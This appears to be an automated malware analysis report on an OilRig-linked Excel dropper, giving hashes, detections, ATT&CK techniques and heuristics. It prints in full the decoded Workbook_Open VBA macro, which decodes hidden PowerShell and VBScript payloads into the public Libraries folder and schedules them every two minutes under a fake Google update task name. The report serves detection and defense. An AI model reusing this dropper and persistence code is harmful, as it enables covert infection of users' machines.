Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1edbb818ea75919b…

MALICIOUS

Office (OLE)

43.5 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: 7cb4e466936bbb10fc6633c5a37d1e6c SHA-1: 7c988d4b6ec4635044467c7ecca2a2de6de09552 SHA-256: 1edbb818ea75919bb70bd2496e789e89d26c94cdf65ab61ebb5f1403d45d323c
448 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample is an Excel file containing a Workbook_Open VBA macro. This macro is designed to execute a PowerShell command that decodes and saves two scripts, 'komisova.vbs' and 'komisova.ps1', to the user's public libraries directory. It then uses schtasks to create a scheduled task named 'GoogleUpdatesTaskReport' to execute the VBScript every two minutes, likely for persistence and further payload delivery. The presence of WScript.Shell and PowerShell references, along with the scheduled task creation, strongly indicates a downloader or dropper functionality.

Heuristics 10

  • ClamAV: Xls.Dropper.Agent-6465255-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-6465255-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set komisova_ps = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 26)
        Set wss = CreateObject("WScript.Shell")
        Set fso = CreateObject("Scripting.FileSystemObject")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        pth = wss.ExpandEnvironmentStrings("%PUBLIC%")
        cmd = "powershell ""&{$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas" & "e64String('" & komisova_vb & "')); Set-Content '" & pth & "\Libraries\komisova.vbs" & "' $f;$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas" & "e64String('" & komisova_ps & "')); Set-Content '" & pth & "\Libraries\komisova.ps1" & "' $f;(Get-Content $env:Public\Libraries\komisova.vbs) -replace '__',(Get-Random) | Set-Content $env:Public\Libraries\komisova.vbs}"""
        cmd2 = "schtasks /create /F /sc minute /mo 2 /tn " & Chr(34) & "GoogleUpdatesTaskReport" & Chr(34) & " /tr " & pth & "\Libraries\komisova.vbs"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set komisova_ps = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 26)
        Set wss = CreateObject("WScript.Shell")
        Set fso = CreateObject("Scripting.FileSystemObject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub WOrkBook_Open()
        Call komisova_tr2
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2954 bytes
SHA-256: a104b179351aa4896f0045de2187357cca96d91acfbf808c854e4500e02b01af
Detection
ClamAV: Vbs.Trojan.Oilrig-6332898-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub WOrkBook_Open()
    Call komisova_tr2
    Call komisova_s2
End Sub

Sub komisova_s2()
    If ActiveWorkbook.Worksheets(1).Visible Then
        Dim WS_Count As Integer
        Dim I As Integer
        WS_Count = ActiveWorkbook.Worksheets.Count
        For I = 1 To WS_Count
            ActiveWorkbook.Worksheets(I).Visible = True
        Next I
        ActiveWorkbook.Worksheets(1).Visible = False
        ActiveWorkbook.Worksheets(2).Activate
    End If
End Sub

Sub komisova_tr2()
    Set komisova_vb = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 25)
    Set komisova_ps = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 26)
    Set wss = CreateObject("WScript.Shell")
    Set fso = CreateObject("Scripting.FileSystemObject")
    pth = wss.ExpandEnvironmentStrings("%PUBLIC%")
    cmd = "powershell ""&{$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas" & "e64String('" & komisova_vb & "')); Set-Content '" & pth & "\Libraries\komisova.vbs" & "' $f;$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas" & "e64String('" & komisova_ps & "')); Set-Content '" & pth & "\Libraries\komisova.ps1" & "' $f;(Get-Content $env:Public\Libraries\komisova.vbs) -replace '__',(Get-Random) | Set-Content $env:Public\Libraries\komisova.vbs}"""
    cmd2 = "schtasks /create /F /sc minute /mo 2 /tn " & Chr(34) & "GoogleUpdatesTaskReport" & Chr(34) & " /tr " & pth & "\Libraries\komisova.vbs"
    If Not (fso.FileExists(pth & "\Libraries\komisova.vbs")) Then
        If Not (fso.FolderExists(pth & "\Libraries\up")) Then
            fso.CreateFolder (pth & "\Libraries\up")
        End If
        If Not (fso.FolderExists(pth & "\Libraries\dn")) Then
            fso.CreateFolder (pth & "\Libraries\dn")
        End If
        If Not (fso.FolderExists(pth & "\Libraries\tp")) Then
            fso.CreateFolder (pth & "\Libraries\tp")
        End If
        wss.Run cmd, 0
        wss.Run cmd2, 0
        Set wss = Nothing
        Set fso = Nothing
    End If
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True